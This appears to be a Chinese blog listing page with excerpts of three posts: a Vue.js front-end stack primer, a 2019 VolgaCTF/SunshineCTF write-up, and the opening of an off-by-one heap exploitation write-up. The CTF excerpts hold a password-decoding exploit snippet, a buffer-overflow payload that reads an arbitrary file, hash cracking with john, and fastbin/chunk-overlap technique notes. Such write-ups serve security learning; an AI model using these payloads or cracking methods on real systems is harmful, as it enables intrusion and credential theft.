如何使用vue 及相关技术栈快速构建前端

在本文中,我将给大家介绍一些 vue 的基础知识、相关工具、生态等内容。相信通过该文章你会对 vue 有大概的认识,并且可以快速地找到入门的方向。 一起来学习吧! 首先介绍一下本次系分项目前端使用的技术栈: vue-cli vuex element-ui vue-router axios webpack yarn 我将一一简单介绍: vue 一开始学 vue, 主要熟悉一些组件的概念,数据,生命周期。 写的时候主要也就是 data, mounted, methods 这几项。 布局方面使用 v-for/v-if/v-show 。 还有学一些路由之间的跳转,传递参数这些内容。 基本够用了… 还有可以学一下怎么父子组件的相关概念。 其他的还有computed/watch 等,但是简单的项目也可以不用。 vuex 用来做状态管理,简单来说,可以维护一些全局变量。 vue-cli 使用 vue-cli 你可以快速构建一个 vue 项目。目前的版本是 3.0。不同先前版本,构建完项目后需要自己创建配置文件,文件名为 vue.config.js 创建: vue create project-name element-ui UI 框架。算是 vue 生态中最常用的UI框架了。其他还有Muse-UI 等等。 我用 element-ui 比较多,就介绍一下我常用的组件: 布局方面,使用 <el-container> <el-header> <el-main> 将页面分成几大部分。然后使用 el-row el-col 进行布局,设置好 offset 和 span 属性就行 使用 message 来弹出消息,主要有 success/error/warning 几类。 使用 el-menu 设置导航 此外,我喜欢用 el-card 将页面卡片化,布局也很方便。 我常用的还有 form/button/icon/divider 在系分项目中我使用 Upload 来实现头像上传。 新版的 element-ui 也引入了一些非常方便的组件,包括: avatar,loading。我在系分项目中也用到了。...

2019VolgaCTF & 2019SunshineCTF writeup

VolgaCTF: warm/Shadow Cat/JOI Warm 这道题是 arm 架构下的,不过没什么区别。没有环境的话要先搭一下,直接连服务器做也可以。 先简单解个密: s="" s+=chr(0x23^85); s+= chr(ord(s[-1])^78) s+= chr(ord(s[-1])^30) s+= chr(ord(s[-1])^21) s+= chr(ord(s[-1])^94) s+= chr(ord(s[-1])^28) s+= chr(ord(s[-1])^33) s+= chr(ord(s[-1])^1) s+= chr(ord(s[-1])^52) s+= chr(ord(s[-1])^7) s+= chr(ord(s[-1])^53) s+= chr(ord(s[-1])^17) s+= chr(ord(s[-1])^55) s+= chr(ord(s[-1])^60) s+= chr(ord(s[-1])^114) s+= chr(ord(s[-1])^71) p.sendline(s); print(len(s)) print(s) 得到 v8&3mqPQebWFqM?x 程序很明显有溢出,进行覆盖可以读取任意文件,接下来就靠猜了… 文件名是 sacred payload: v8&3mqPQebWFqM?xpppppppppppppppppppppppppppppppppppppaaaaaaabbbbbxppppppppppppppppppppppppppppppppppsacred flag: VolgaCTF{1_h0pe_ur_wARM_up_a_1ittle} ShadowCat 用 john 进行破解,首先用默认的字典,发现破解速度极慢,破解出来的都是单字符,想想也是… 所以自己创建一个可打印字符的字典,使用 –wordlist 设置破解就好了,最后把破解得到的数据与密文对应的字符进行替换,得到 脚本: str = "hajjzvajvzqyaqbendzvajvqauzarlapjzrkybjzenzuvczjvastlj" ans = "" dict = {"z":"_","a":"a","x":"b","q":"c","l":"w","v":"h","e":"i","f":"j","b":"k","r":"l","g":"m","n":"n","o":"x","p":"y","s":"d","c":"e","w":"f","d":"g","t":"o","h":"p","m":"q","k":"u","i":"v","y":"r","j":"s","u":"t"} for ch in str: ans+=dict[ch]; print(ans) flag: pass_hash_cracking_hashcat_always_lurks_in_the_shadows...

CTF | offbyone writeup

offbyone fastbin attack chunk overlap 题目就叫 offbyone,是 xman 小姐姐给的,不清楚出处… offbyone 漏洞的大致思路: 改写下一个块的size 改写下一个块的pre inuse位 chunk overlap : Overwrite next chunk’s size => extend free chunk Overwrite next chunk’s size => extend allocated chunk Overwrite next chunk’s size => shrink free chunk 这道题的 offbyone 比较宽松,可以写任意字节,而不仅仅是 null 程序分析 edit 函数有 offbyone: if ( v1 >= 0 && v1 <= 15 && ptrs[v1] ) { puts("your note:"); v2 = strlen(ptrs[v1]); read(0, (void *)ptrs[v1], v2); puts("done....